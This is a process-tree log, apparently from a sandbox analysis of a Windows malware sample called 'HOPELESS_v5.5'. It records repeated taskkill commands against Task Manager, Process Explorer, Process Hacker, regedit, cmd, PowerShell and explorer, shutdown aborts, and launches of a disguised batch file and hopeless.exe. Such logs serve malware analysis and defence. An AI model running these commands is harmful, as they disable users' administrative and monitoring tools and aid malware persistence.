  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6928
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2540
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2836
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2504
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5252
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6544
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2852
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5324
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4544
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:7056
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4160

C:\Windows\SYSTEM32\rundll32.exe
rundll32.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat
1⤵
PID:3480

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Windows\System32\cmd.exe /c echo HOPELESS_v5.5 && start /min C:\Windows\System32\hopeless.exe
1⤵
PID:4736